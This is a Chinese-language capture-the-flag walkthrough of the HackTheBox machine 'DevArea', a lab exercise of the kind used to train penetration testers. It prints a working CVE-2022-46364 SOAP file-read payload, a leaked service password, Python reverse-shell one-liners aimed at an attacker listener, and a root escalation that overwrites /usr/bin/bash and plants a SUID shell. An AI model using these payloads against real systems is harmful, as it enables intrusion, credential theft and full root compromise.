HackTheBoxSeason10DevArea难度:Medium

admin 2026-04-21 02:06:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细记录了HackTheBoxSeason10DevArea靶机的渗透测试过程。通过信息收集发现21、22、80、8080等端口,利用CVE-2022-46364漏洞读取/etc/passwd文件并获取Hoverfly服务凭证,随后通过API中间件配置实现反向shell获取user.txt。权限提升阶段通过备份替换bash文件,利用sudo执行syswatch脚本时触发恶意payload,成功以root身份读取root.txt并创建SUIDshell。 综合评分: 81 文章分类: 渗透测试,内网渗透,红队,WEB安全,漏洞分析


cover_image

HackTheBox Season 10 DevArea 难度:Medium

原创

信益安研究院 信益安研究院

信益安信息安全研究院

2026年4月1日 10:30 湖北

在小说阅读器读本章

去阅读

DevArea

一、信息收集

nmap -p- --min-rate=10000 -sV -Pn 10.129.202.146

发现开放21、22、80、8080、8500、8888端口

先添加hosts文件,访问80页面没有发现什么可利用的信息

echo "10.129.202.146 devarea.htb" >> /etc/hosts

访问http://devarea.htb:8080/employeeservice?wsdl

二、漏洞利用

根据分析发现这里存在CVE-2022-46364,该漏洞允许通过在 SOAP 请求中包含本地文件来读取其内容,我们去进行漏洞利用

cat > /tmp/ssrf.xml << 'EOF'
--MIME_boundary
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-ID: <[email protected]>

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
&nbsp; <soap:Body>
&nbsp; &nbsp; <tns:submitReport xmlns:tns="http://devarea.htb/">
&nbsp; &nbsp; &nbsp; <arg0>
&nbsp; &nbsp; &nbsp; &nbsp; <employeeName>test</employeeName>
&nbsp; &nbsp; &nbsp; &nbsp; <department>test</department>
&nbsp; &nbsp; &nbsp; &nbsp; <content>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;href="file:///etc/passwd"/>
&nbsp; &nbsp; &nbsp; &nbsp; </content>
&nbsp; &nbsp; &nbsp; &nbsp; <confidential>false</confidential>
&nbsp; &nbsp; &nbsp; </arg0>
&nbsp; &nbsp; </tns:submitReport>
&nbsp; </soap:Body>
</soap:Envelope>
--MIME_boundary--
EOF
curl -s -X POST http://devarea.htb:8080/employeeservice \
&nbsp; -H "Content-Type: multipart/related; type=\"text/xml\"; boundary=\"MIME_boundary\"" \
&nbsp; --data-binary @/tmp/ssrf.xml > /tmp/response.xml
python3 -c "
import base64, re
data = open('/tmp/response.xml').read()
m = re.search(r'Content: ([A-Za-z0-9+/=]+)', data)
print(base64.b64decode(m.group(1) + '==').decode())
"

提取Hoverfly

sed 's|file:///etc/passwd|file:///etc/systemd/system/hoverfly.service|' \
&nbsp; /tmp/ssrf.xml > /tmp/ssrf2.xml
curl -s -X POST http://devarea.htb:8080/employeeservice \
&nbsp; -H "Content-Type: multipart/related; type=\"text/xml\"; boundary=\"MIME_boundary\"" \
&nbsp; --data-binary @/tmp/ssrf2.xml > /tmp/response2.xml
python3 -c "
import base64, re
data = open('/tmp/response2.xml').read()
m = re.search(r'Content: ([A-Za-z0-9+/=]+)', data)
print(base64.b64decode(m.group(1) + '==').decode())
"

:::success
发现凭据:ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

这组信息爆出来:用户:admin、密码:O7IJ27MyyXiU、管理端口8080:
curl -X POST http://devarea.htb:8888/api/token-auth \
&nbsp; -H "Content-Type: application/json" \
&nbsp; -d '{"username":"admin","password":"O7IJ27MyyXiU"}'

开启监听

nc -lvvp 4444
TOKEN=""

curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
&nbsp; -H "Authorization: Bearer $TOKEN" \
&nbsp; -H "Content-Type: application/json" \
&nbsp; -d '{
&nbsp; &nbsp; "binary": "python3",
&nbsp; &nbsp; "script": "import socket,subprocess,os;s=socket.socket();s.connect((\"your ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"
&nbsp; }'

成功反弹shell

读取user.txt

三、权限提升

sudo -l

备份 bash + 创建 payload(当前shell中执行)

cp /usr/bin/bash /tmp/bash.bak

cat > /tmp/payload.sh << 'EOF'
#!/tmp/bash.bak
cat /root/root.txt > /tmp/root.txt
chmod 777 /tmp/root.txt
cp /tmp/bash.bak /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash.bak /usr/bin/bash
exec /tmp/bash.bak "$@"
EOF

chmod +x /tmp/payload.sh
nc -lvnp 9002

连接第二个shell

python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('yourip',9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/dash','-i'])"

执行权限提升

kill -9 $(pgrep -x bash) 2>/dev/null

dd if=/tmp/payload.sh of=/usr/bin/bash

sudo /opt/syswatch/syswatch.sh --version

cat /tmp/root.txt

虽然 whoami 还显示 dev_ryan,但 payload 已经成功以 root 身份执行并把 flag 写入了 /tmp/root.txt

提权原理

┌─────────────────────────────────────────────────────┐

│ &nbsp;第一步:备份原始 bash &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;cp /usr/bin/bash /tmp/bash.bak &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

└──────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────┐

│ &nbsp;第二步:创建恶意 payload.sh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;内容:读 root.txt、创建 SUID bash、恢复原始 bash &nbsp; &nbsp;│

│ &nbsp;Shebang 指向备份的 bash:#!/tmp/bash.bak &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

└──────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────┐

│ &nbsp;第三步:切换到 dash shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;避免替换 bash 时当前 shell 崩溃 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

└──────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────┐

│ &nbsp;第四步:dd 替换 /usr/bin/bash &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;dd if=/tmp/payload.sh of=/usr/bin/bash &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;现在 /usr/bin/bash 实际上是我们的 payload &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

└──────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────┐

│ &nbsp;第五步:触发 sudo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp;sudo /opt/syswatch/syswatch.sh --version &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;syswatch.sh 调用 /usr/bin/bash(已被替换) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;以 root 身份执行 payload.sh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

│ &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;cat /root/root.txt → /tmp/root.txt(777权限) &nbsp; &nbsp; &nbsp;│

│ &nbsp;创建 /tmp/rootbash(SUID) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;恢复 /usr/bin/bash 为原始文件 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

└──────────────────┬──────────────────────────────────┘ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓

┌─────────────────────────────────────────────────────┐

│ &nbsp;第六步:读 flag / 用 SUID bash 拿 root shell &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;cat /tmp/root.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

│ &nbsp;/tmp/rootbash -p &nbsp;→ &nbsp;whoami = root &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │

└─────────────────────────────────────────────────────┘

最后

🌟感谢您看到这里,您的支持与关注,是我们持续输出内容的最大动力

🌟欢迎在season 10 赛季期间进群交流


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信益安信息安全研究院 信益安研究院 信益安研究院《HackTheBox Season 10 DevArea 难度:Medium》

评论:0   参与:  0